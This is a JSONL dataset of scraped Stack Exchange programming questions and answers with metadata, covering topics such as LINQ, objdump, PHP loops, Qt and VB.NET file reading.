"tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.074329"}
{"id": "hf_be55a76401ac", "question": "<p>Currently we have a DLL that checks whether a username/password is a valid Windows user using the Windows API LogonUser method. We need to enhance it so it checks whether the user belongs to a specified group as well. Is there a Windows method that does that?</p>\n\n<p>Given a Windows username and password, find out whether the user belongs to a specified group.</p>\n", "question_body": "", "answer": "The closest single API is\nCheckTokenMembership\n, which just leaves the problem of obtaining the user's SID and handle for the group.\nIf you can use ATL check out the methods on the\nCAccessToken\nclass ... and even if you can't use it check out the implementation in atlsecurity.h for examples.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.099071"}
{"id": "hf_379beaf4c42a", "question": "<p>I'm working on deploying a small community site. User registration requires nothing more than a username, email address, and password. I'm not even asking for a name, and certainly not storing any sensitive data.</p>\n\n<p>Should I still invest in an SSL certificate? Would it be considered terrible practice to transmit a user's password without one?</p>\n\n<p>This is just a personal project, so I'd like to avoid the extra cost if I could, but I can't help but feel I'd be irresponsible if I didn't secure everything properly.</p>\n", "question_body": "", "answer": "I wouldn't bother with SSL for something like that.\nThink about it... there are a million messageboards on the Internet\nand none of them use SSL.\nUnless you are storing Credit Card numbers or other sensitive\nfinancial/personal information, I just don't think it's worth the\ncost.\nEDIT: This response is totally outdated. Yes, EVERYONE needs SSL.  Most hosting companies include support for Let's Encrypt (free SSL) so you don't have any reason not to use it anymore.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.151887"}
{"id": "hf_b2dd7511b76a", "question": "<p>I was wondering if there was some kind of J tool in the java swing library that opens up a file browser window and allows a user to choose a file. Then the ouput of the file would be the absolute path of the chosen file.</p>\n\n<p>Thanks in advance,</p>\n", "question_body": "", "answer": "You can use the\nJFileChooser\nclass, check\nthis example\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.176096"}
{"id": "hf_218252383478", "question": "<ul>\n<li><p>How do I utilize a ?: operator in the SELECT clause of a LINQ query?  If this can't be done, how can I emulate one?  The goal is to get a CASE block in my select clause. As you might suspect, I'm getting an error: <em>Invalid anonymous type member declarator. Anonymous type members must be declared with a member assignment, simple name or member access.</em></p></li>\n<li><p>Is this the proper way, or a sufficient way, to say \"from a inner join i on a.ipid=i.id inner join u on i.uid=u.id\"?  If not, please provide one.  Thanks.</p>\n\n<pre><code>var query =\n    from a in db.tblActivities\n    from i in db.tblIPs\n    from u in db.tblUsers \n    select new {\n        u.UserName == null\n            ? i.Address\n            : u.UserName,\n        a.Request,\n        a.DateTime };\n</code></pre></li>\n</ul>\n", "question_body": "", "answer": "I'm fairly new to Linq to SQL but I'm pretty sure it would go like this:\n```\n```\nvar query =\n    from a in db.tblActivities\n    from i in a.tblIPs\n    from u in i.tblUsers \n    select new\n    {\n        userName = (u.UserName == null)\n            ? i.Address\n            : u.UserName,\n        a.Request,\n        a.DateTime\n    };\n```\n```\nThe if statement needs to be in parentheses and the results outside of them.  As for the joins, you follow the chain down from one->many.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.235428"}
{"id": "hf_dd2d3f30d302", "question": "<p>In visual studio 2008, when we press Ctrl+F5, the ASP.NET Development Server is launched to simulate a Web Server. I'm wondering what server does it simulate? IIS6 or IIS7? Is it possible to customize what server it simulate?</p>\n", "question_body": "", "answer": "Sorry, a question, not an answer:\nWhat are the server differences between IIS6 and II7 that matter to your code?\nFor ASP.NET development, the web server itself is somewhat ASP.NET neutral.   It forwards the request to the .NET framework, so THAT's the part that matters.\nMore info here:\nhttp://msdn.microsoft.com/en-us/library/58wxa9w5.aspx\nAdding Morgan Cheng's comment into the answer:\nThere is some difference between IIS6 and IIS7 on how to explain web.config. For example, to customize UrlRouteHandler, according to MSDN. IIS6 and IIS7 are different. Details in\nhttp://msdn.microsoft.com/en-us/library/system.web.routing.urlroutinghandler.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.283123"}
{"id": "hf_d3a9e7c2680b", "question": "<p>I am trying to see what are the gotchas in using XmlHttpWebRequest such that it works for Safari, Firefox and IE?</p>\n", "question_body": "", "answer": "Here's somebody who got his hands dirty with that question:\nhttp://www.webmasterworld.com/javascript/3195000.htm\nOne general way to research these questions is to peek at the source code of a javascript library, like jQuery, since one of the functions of the library is to handle the differences.   Here's a snippet of jQuery that deals with XMLHttpRequest.  Note the comments about browser differences.\n```\n```\n// Create the request object; Microsoft failed to properly\n    // implement the XMLHttpRequest in IE7, so we use the ActiveXObject when it is available\n    var xhr = window.ActiveXObject ? new ActiveXObject(\"Microsoft.XMLHTTP\") : new XMLHttpRequest();\n\n    // Open the socket\n    // Passing null username, generates a login popup on Opera (#2865)\n    if( s.username )\n        xhr.open(type, s.url, s.async, s.username, s.password);\n    else\n        xhr.open(type, s.url, s.async);\n\n    // Need an extra try/catch for cross domain requests in Firefox 3\n    try {\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.331890"}
{"id": "hf_b1e84655f9af", "question": "<p>I am trying to do something like this</p>\n\n<pre><code>public void GetData(ref Dictionary&lt;T,V&gt; dataDictionary)\n{\n\n\n}\n</code></pre>\n\n<p>Where T can be GUID, string, or int and V is custom user or item object.</p>\n", "question_body": "", "answer": "Does this help?  Any additional info would be helpful.\n```\n```\npublic void GetData<T, V>(ref Dictionary<T, V> dataDictionary) {\n    if (typeof(T) == typeof(string) || typeof(T) == typeof(int) || typeof(T) == typeof(Guid)) {\n       ...\n    } else {\n        throw new ArgumentException();\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.356127"}
{"id": "hf_63807252afe3", "question": "<p>I remember from way back at university using a switch with 'binary search' or 'binary switch'. Something like that, My google foo is broken today. Anyway it goes down like this: You define an array of possible options (Strings usually), some magic happens, and those options in the array become the cases in the switch happens. I do remember that they had to be in alphabetical order for this to work. Can you help me remember the magic? Even a name of what I should be looking at would be fantastic.</p>\n", "question_body": "", "answer": "I think what you are looking for is an\nEnum\n.\nFrom the link above...\n```\n```\npublic enum Day {\n    SUNDAY, MONDAY, TUESDAY, WEDNESDAY, \n    THURSDAY, FRIDAY, SATURDAY \n}\n\npublic class EnumTest {\n\n    Day day;\n\n    public EnumTest(Day day) {\n        this.day = day;\n    }\n\n    public void tellItLikeItIs() {\n         switch (day) {\n            case MONDAY:\n                 System.out.println(\"Mondays are bad.\");\n                 break;\n\n            case FRIDAY:\n                 System.out.println(\"Fridays are better.\");\n                 break;\n\n            case SATURDAY:\n            case SUNDAY:\n                 System.out.println(\"Weekends are best.\");\n                 break;\n\n            default:\n                 System.out.println(\"Midweek days are so-so.\");\n                 break;\n        }\n    }\n\n    ....\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.415879"}
{"id": "hf_b83588a13754", "question": "<p>Is there a way to have a function return a editable reference to some internal data. Here's an example I hope helps show what I mean.</p>\n\n<pre><code>class foo\n{\n    public int value;\n}\n\nclass bar\n{\n    bar()\n    {\n       m_foo = new foo();\n       m_foo.value = 42;\n    }\n    private m_foo;\n    foo getFoo(){return m_foo;}\n}\n\nclass main\n{\n    int main()\n    {\n        bar b = new bar();\n        b.getFoo().value = 37;\n    }\n}\n</code></pre>\n\n<p>The return of getFoo() according to \"==\" is the same as the internal m_foo until I try to edit it. In c/c++ I'd return a reference or pointer.</p>\n", "question_body": "", "answer": "You're already returning the reference of\n```\nfoo\n```\nin\n```\ngetFoo\n```\n(this happens by default). So any changes that you make to the return value of\n```\ngetFoo\n```\nwill be reflected in the internal\n```\nfoo\n```\ndata structure in\n```\nbar\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.443898"}
{"id": "hf_a52d6de5df72", "question": "<p>I have a client-server architecture where client communicates with the server using .NET Remoting. Server handles all business logic and database interaction. I need to add an operation which may take a while to execute and the dataset it returns might be quite large. I'm thinking of employing asynchronous call for that. Now the problem arises: assume, the client made this async call, operation started SQL query, and user either closes the client or clicks Cancel -- what will happen to the operation? Is there any way to cancel the pending async call, which is busy talking to SQL server?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "You could design your client/server interaction so that the server let a worker thread do the SQL stuff so that it was ready to receive another call from the client.   So, the client makes call 1 and says do SQL work.   The server gives that work to the worker thread and is ready for new incoming.   Then the client makes call 2 and says, \"never mind\".  The server would do some bookkeeping to make sure it doesn't call back to the client when the worker thread is done.\nCan the server safely interrupt the worker thread.  I'm not sure.   Would that have any affect on what SQL Server is doing.   Not sure.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.502413"}
{"id": "hf_c2db87ab528c", "question": "<p>If you have a particular line of C code in mind to examine in the machine output, how would you locate it in objdump output.  Here is an example</p>\n\n<pre><code>if (cond)\n   foo;\n   bar();\n</code></pre>\n\n<p>and I want to see if bar was inlined as I'd like.\nOr would you use some alternative tool instead of objdump?</p>\n", "question_body": "", "answer": "You can start objdump using the\n```\n-S\n```\noption (like\n```\n\"objdump -Sd a.out\"\n```\n). It will display the sourcecode intermixxed with the assembler code, if the source-files the code was compiled from are available.\nAlternatively, you can use the following way:\n```\n```\nint main(void) {\n    int a = 0;\n    asm(\"#\");\n    return a;\n}\n```\n```\nbecomes\n```\n```\n.file   \"a.c\"\n        .text\n.globl main\n        .type   main, @function\nmain:\n        leal    4(%esp), %ecx\n        andl    $-16, %esp\n        pushl   -4(%ecx)\n        pushl   %ebp\n        movl    %esp, %ebp\n        pushl   %ecx\n        subl    $16, %esp\n        movl    $0, -8(%ebp)\n#APP\n# 3 \"a.c\" 1\n        #\n# 0 \"\" 2\n#NO_APP\n        movl    -8(%ebp), %eax\n        addl    $16, %esp\n        popl    %ecx\n        popl    %ebp\n        leal    -4(%ecx), %esp\n        ret\n        .size   main, .-main\n        .ident  \"GCC: (GNU) 4.3.2\"\n        .section        .note.GNU-stack,\"\",@progbits\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.525978"}
{"id": "hf_de2461f21775", "question": "<p>I am extremely new at php and I was wondering if someone could help me use either a <code>for()</code> or <code>while()</code> loop to create an array of 10 elements.</p>\n", "question_body": "", "answer": "```\n```\n$array = array();\n$array2 = array();\n\n// for example\nfor ($i = 0; $i < 10; ++$i) {\n    $array[] = 'new element';\n}\n\n// while example\nwhile (count($array2) < 10 ) {\n    $array2[] = 'new element';\n}\n\nprint \"For: \".count($array).\"<br />\";\nprint \"While: \".count($array2).\"<br />\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.603528"}
{"id": "hf_8b1d0c998d0e", "question": "<p>What is the time complexity of dynamic memory allocation using new, malloc, etc.?  I know very little about how memory allocators are implemented, but I assume the answer is that it depends on the implementation.   Therefore, please answer for some of the more common cases/implementations.</p>\n\n<p>Edit:\nI vaguely remember hearing that heap allocation is unbounded in the worst case, but I'm really interested in the average/typical case.</p>\n", "question_body": "", "answer": "I would think it would generally be O(n) where n is the number of available memory blocks (since you have to scan the available memory blocks to find a suitable one).\nHaving said that, I've seen optimizations that can make it faster, specifically maintaining multiple lists of available blocks depending on their size ranges (so blocks less than 1k are in one list, blocks from 1k to 10k are in another list and so on).\nThis is still O(n) however, just with a smaller n.\nI'd be interested in seeing your source that there's a heap allocation that's unbounded (if, by that, you mean it could take forever).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.628283"}
{"id": "hf_58d5f2429a48", "question": "<p>What is the best way to give the user feedback for a color selection?<br>\nI have a dialog with a \"Select Color\" push button which pops a <code>QColorDialog</code>. After the selection is made I want to show the user the color selected.<br>\nUsually I do this using a <code>QLabel</code> and changing it's background color in the palette. This method is cumbersome and I think not very portable. </p>\n\n<p>Is there a standard way of doing this?</p>\n", "question_body": "", "answer": "The way I'm doing it is the following :\nI actually change the color of the button, to reflect the user choice. To do this, I'm using the Qt style sheet, which ensure it is portable :\n```\n```\nconst QString COLOR_STYLE(\"QPushButton { background-color : %1; color : %2; }\");\n\nQColor ChosenColor; // Color chosen by the user with QColorDialog\nQColor IdealTextColor = getIdealTextColor(ChosenColor);\nbtnChooseColor->setStyleSheet(COLOR_STYLE.arg(ChosenColor.name()).arg(IdealTextColor.name()));\n```\n```\nTo make sure the label of the button is always readable, I'm calling the method getIdealTextColor(), which is a method I've found from a codeproject article :\n```\n```\n//==============================================================================\n//  Nom : getIdealTextColor\n//! @return an ideal label color, based on the given background color.\n//! Based on http://www.codeproject.com/cs/media/IdealTextColor.asp\n//==============================================================================\nQColor JSPreferencesDlg::getIdealTextColor(const QColor& rBackgroundColor) const\n{\n    const int THRESHOLD = 105;\n    int BackgroundDelta = (rBackgroundColor.red() * 0.299) + (rBackgroundColor.green() * 0.587) + (rBackgroundColor.blue() * 0.114);\n    return QColor((255- BackgroundDelta < THRESHOLD) ? Qt::black : Qt::white);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.656667"}
{"id": "hf_1370f8a4ae02", "question": "<p>Suppose that I have a Java class with a static method, like so:</p>\n\n<pre>\nclass A\n{\n    static void foo()\n    {\n        // Which class invoked me?\n    }\n}\n</pre>\n\n<p>And suppose further that class A has an arbitrary number of subclasses:</p>\n\n<pre>\nclass B extends A { }\nclass C extends A { }\nclass D extends A { }\n...\n</pre>\n\n<p>Now consider the following method invocations:</p>\n\n<pre>\nA.foo();\nB.foo();\nC.foo();\nD.foo();\n...\n\n</pre>\n\n<p>My question is, how can method <code>foo()</code> tell which class is invoking it?</p>\n", "question_body": "", "answer": "It can't, and that's part of the problem with static methods.  As far as the compiler is concerned\n```\nA.foo()\n```\nand\n```\nB.foo()\n```\nare exactly the same thing.  In fact, they compile down to the same bytecode.  You can't get more similar than that.\nIf you really need this sort of information, use a singleton and turn\n```\nfoo()\n```\ninto an instance method.  If you still like the static syntax, you can build a facade\n```\nA.foo()\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.713177"}
{"id": "hf_9a4d87aba96f", "question": "<p>Of course, the immediate answer for most situations is <strong>\"yes\"</strong>, and I am a firm believer that a process should correctly cleanup any resources it has allocated, but what I have in my situation is a long-running system daemon that opens a fixed number of file descriptors at the startup, and closes them all before exiting.</p>\n\n<p>This is an embedded platform, and I'm trying to make the code as compact as possible, while not introducing any bad style. But since file descriptors are closed before exit anyway, does this file descriptor cleanup code serve any purpose?  Do you always close all your file descriptors?</p>\n", "question_body": "", "answer": "man 3 exit:\n```\n```\n....\nAll open stdio(3) streams are flushed and closed.  Files created by tmpfile(3) are removed.\n```\n```\nSo i believe leaving main effectively calls the exit function with main's return value. Though I would argue that it is bad style. Personally, I\nalways\nexplicitly free/close any acquired resources.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.763011"}
{"id": "hf_6b9b7360e80b", "question": "<p>I'd like to give customers a choice of the database engine, but also want to minimize my troubles of such a decision.<br>\nThe engines in question are MySQL (5 or later) and SQL Server (2005 or later).</p>\n", "question_body": "", "answer": "Google for the differences in datatypes.\nBut the schema is just a part of the picture.\nThe SQL dialects are different too.  Google for those differences.   Then, either stick to a subset of SQL that's common to both, or build in a scheme to use somewhat different SQL in each.\nDon't wait until the end to test on the \"other\" db.  Test on both from the start so that you don't invest too much in a dead end design direction.\nHere's a starting place:\nhttp://www.microsoft.com/technet/prodtechnol/sql/2000/deploy/mysql.mspx#EZD\nand:\nhttp://troels.arvin.dk/db/rdbms/#insert", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.787710"}
{"id": "hf_4aebd983a39e", "question": "<p>I'm trying to process a credit card transaction in .net and it works perfectly in Safari, Opera, and IE. When I try the same transaction in Firefox it sends two requests and I end up with a double charged card. From a quick search on Google it seems that this is an issue with Firebug but I am unable to find a way to stop this double post. </p>\n\n<p>Does anyone have any idea on how to prevent Firefox (and Firebug) from doing this?</p>\n", "question_body": "", "answer": "Use a\nnonce\n, a unique key which is only used once.\nSend a unique number along with the form fields to the browser (this is often done with a hidden input field), and store a copy on the server with the transaction. Within the form, change the number on submit.  Validate that the keys match when processing your requests.\nThere may also be a clear explanation of what's happening on the front end, and that issue could be eliminated client-side.  It's best to solve the double-submit problem on the server, simply because there are so many ways in which a double submit could occur.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.837698"}
{"id": "hf_2238cd4908b6", "question": "<p>Is it possible to free memory allocated by C's alloca() explicitly, before the current function exits?  If so,how?</p>\n", "question_body": "", "answer": "No, because it's allocated on the stack along with the local variables.  If you want memory that you can explicitly free, use one of the dynamic memory allocation functions.\nThere's no hybrid that allows you to explicitly free\nAND\nhave it automatically free on function exit as well, at least not in the standard.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.862474"}
{"id": "hf_4c2fbe99f357", "question": "<p>I am using UIActivityIndicatorView to showing user that there is something going on, let them wait. But UIActivityIndicatorView looks small, do not have background color, and not very obvious to the user. While in iPhone SDK's UIImagePickerController, it uses the similar mechanism, but with the black background as well as some text besides the indicator.</p>\n\n<p>I am wondering whether there is any existing component to do that task, or I have to implement my own class to perform that task.</p>\n\n<p>Any suggestion are highly welcome, thanks in advance.</p>\n", "question_body": "", "answer": "If you just want a different background color of your UIActivityIndictatorView, you could just send the setBackgroundColor message to the object, i.e.:\n```\n```\n[activityIndicator setBackgroundColor:[UIColor blackColor]];\n```\n```\nBy the way, you can change the size of the indicator as well. just do setFrame or initWithFrame with a bigger rect. Remember UIActivityIndicatorView inherits from UIView so you get all the customization of UIView.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.911914"}
{"id": "hf_378e8337306b", "question": "<p>My installation of APEX has come pear shaped on a Oracle 9.2.0.5.0 instance, all the packages are invalid.</p>\n\n<p>I've tried recompiling everything with DBMS_UTILITY.compile_schema, but still all the packages are invalid. So, tried recompiling individual packages,</p>\n\n<pre><code>SQL&gt; ALTER PACKAGE FLOWS_020000.WWV_FLOW_QUERY COMPILE BODY;\n\nWarning: Package Body altered with compilation errors.\n\nSQL&gt; show err\nNo errors.\nSQL&gt; \nSQL&gt; ALTER PACKAGE FLOWS_020000.WWV_FLOW_QUERY COMPILE;\n\nWarning: Package altered with compilation errors.\n\nSQL&gt; show err\nNo errors.\nSQL&gt; \n</code></pre>\n\n<p>nothing in the alter log for it..</p>\n\n<p>How can I find what the error is? shouldn't \"show err\" give it to me?</p>\n", "question_body": "", "answer": "try\n```\n```\nSHOW ERRORS PACKAGE BODY FLOWS_020000.WWV_FLOW_QUERY\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:03.985312"}
{"id": "hf_316f0bafd636", "question": "<p>Given the following simple example:</p>\n\n<pre><code>    List&lt;string&gt; list = new List&lt;string&gt;() { \"One\", \"Two\", \"Three\", \"three\", \"Four\", \"Five\" };\n\n    CaseInsensitiveComparer ignoreCaseComparer = new CaseInsensitiveComparer();\n\n    var distinctList = list.Distinct(ignoreCaseComparer as IEqualityComparer&lt;string&gt;).ToList();\n</code></pre>\n\n<p>It appears the CaseInsensitiveComparer is not actually being used to do a case-insensitive comparison.  </p>\n\n<p>In other words <strong>distinctList</strong>  contains the same number of items as <strong>list</strong>.   Instead I would expect, for example, \"Three\" and \"three\" be considered equal.</p>\n\n<p>Am I missing something or is this an issue with the Distinct operator?</p>\n", "question_body": "", "answer": "```\nStringComparer\n```\ndoes what you need:\n```\n```\nList<string> list = new List<string>() {\n    \"One\", \"Two\", \"Three\", \"three\", \"Four\", \"Five\" };\n\nvar distinctList = list.Distinct(\n    StringComparer.CurrentCultureIgnoreCase).ToList();\n```\n```\n(or invariant / ordinal / etc depending on the data you are comparing)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.010055"}
{"id": "hf_78fa2d35dc36", "question": "<p>I'd like to popup a simple dialog with an editor box, to let user enter some value then just return. I am wondering whether iPhone SDK has that kind of support.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "You need to create your popup (UIAlertView) and add a UITextField (or whatever component you'd like to use) to it as a sub-view.  The UIAlertView won't auto-resize for the component you add so you have to hack that part of it together by adding text to it.  The text will increase the height of your popup and provided you don't add too much be hidden by your component.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.070526"}
{"id": "hf_d58916d26881", "question": "<p>I want to assign default values to a column in my select sql query so that if the value of that column is null I get that default value in my recordset.  Is there anyway to do this?</p>\n\n<p>Example:</p>\n\n<pre><code>select col1 (some default value) from tblname;\n</code></pre>\n", "question_body": "", "answer": "```\n```\nselect\n  isnull(col1, defaultvalue)\nfrom\n  tblname;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.105270"}
{"id": "hf_98941ce30b2a", "question": "<p>Can anyone help me to put a vertical scroll bar for an <code>&lt;asp:CheckBoxList&gt;</code>?</p>\n", "question_body": "", "answer": "Try actually sending the Key Combination Ctrl+C, instead of directly terminating the process:\n```\n```\n[DllImport(\"user32.dll\")]\n        public static extern int SendMessage(\n              int hWnd,      // handle to destination window\n              uint Msg,       // message\n              long wParam,  // first message parameter\n              long lParam   // second message parameter\n              );\n```\n```\nLook it up on the MSDN, you should find what you need there in order to send the Ctrl+Key combination...\nI know that the message you need for sending Alt+Key is WM_SYSTEMKEYDOWN and WM_SYSTEMKEYUP, can't tell you about Ctrl...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.141840"}
{"id": "hf_b90b45a98ad3", "question": "<p>I have a solution in Visual Studio 2008 which has multiple projects. One of the projects is a WCF project. Sometimes I just want to debug other projects, but when I press F5, Visual Studio has wcfsvchost.exe launched to host the WCF project even it is not \"StartUp Project\". </p>\n\n<p>Currently, every time I debugging other projects, I Have to Unload the WCF project to prevent the annoying WcfSvcHost.exe host pop up. However, it is not convenient. Anybody know better idea to prevent WCF project to be hosted in debugging mode?</p>\n", "question_body": "", "answer": "You could try to unload the WCF project in the solution, then debug.\nSorry it was late I misread the last part to fast, then the only other way, that I know of, is to comment out the web parts in the Property Group of the project.  This prevented the pop-up for me\nUnload the project, Comment out the mentioned part, reload.\n```\n```\n<!--<PublishUrl>http://localhost/WindowsFormsApplication1/</PublishUrl>\n<Install>true</Install>\n<InstallFrom>Web</InstallFrom>\n<UpdateEnabled>true</UpdateEnabled>\n<UpdateMode>Foreground</UpdateMode>\n<UpdateInterval>7</UpdateInterval>\n<UpdateIntervalUnits>Days</UpdateIntervalUnits>\n<UpdatePeriodically>false</UpdatePeriodically>\n<UpdateRequired>false</UpdateRequired>\n<MapFileExtensions>true</MapFileExtensions>\n<ApplicationRevision>0</ApplicationRevision>\n<ApplicationVersion>1.0.0.%2a</ApplicationVersion>\n<IsWebBootstrapper>true</IsWebBootstrapper>\n<UseApplicationTrust>false</UseApplicationTrust>\n<BootstrapperEnabled>true</BootstrapperEnabled>-->\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.190319"}
{"id": "hf_b55da84c7640", "question": "<p>So my program needs to go through a plain text file line by line essentially:</p>\n\n<pre><code>Read line 1:\nDo commands\nloop\nRead line2:\nDo Commands\nloop\n</code></pre>\n\n<p>etc until its done with the entire file does anyone know any good coding examples for this, all the tutorials seem to show open and writing/reading textfiles but nothing on how to do it line by line.</p>\n", "question_body": "", "answer": "You could do it like this:\n```\n```\nUsing f As System.IO.FileStream = System.IO.File.OpenRead(\"somefile.txt\")\n    Using s As System.IO.StreamReader = New System.IO.StreamReader(f)\n        While Not s.EndOfStream\n            Dim line As String = s.ReadLine\n\n            'put you line processing code here\n\n        End While\n    End Using\nEnd Using\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:04.214595"}
